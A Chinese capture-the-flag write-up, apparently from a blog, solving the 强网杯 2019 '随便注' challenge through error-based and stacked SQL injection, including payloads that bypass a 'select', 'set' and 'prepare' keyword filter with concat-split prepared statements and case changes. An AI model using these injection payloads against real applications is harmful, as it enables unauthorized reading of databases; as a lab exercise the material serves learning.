[强网杯 2019]随便注
输入1'
,发现报错,且闭合符号为单引号
那么我们可以尝试报错注入,先用order by确认回显列数。这里回显列数为2
用union确认回显位置,1 union select 1,2
,发现这些字符被过滤了,尝试了大小写也不行,直接猜吧。
这里可以用报错注入,1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
,得到当前数据库为supersqli
之后使用堆叠注入执行命令行查询数据库,表,列等等。得到flag在supersqli的1919810931114514表里,payload如下:
1';show databases;
1';show tables from supersqli;
1';show columns from `1919810931114514`;
根据前面我们知道,select关键词被过滤了,大小写也是不行的哦。这里我们可以使用预编译结合concat函数将语句合并,实现执行查询
-1';set @sql=concat('sel','ect 1,2');prepare stmt from @sql;execute stmt
发现有关键词匹配,不能有set和prepare,这个可以使用大小写绕过。
-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#
得到flag
本文作者: 一只本本,文章链接: https://www.cnblogs.com/abenben/p/18540450
欢迎志同道合的朋友一起学习,进步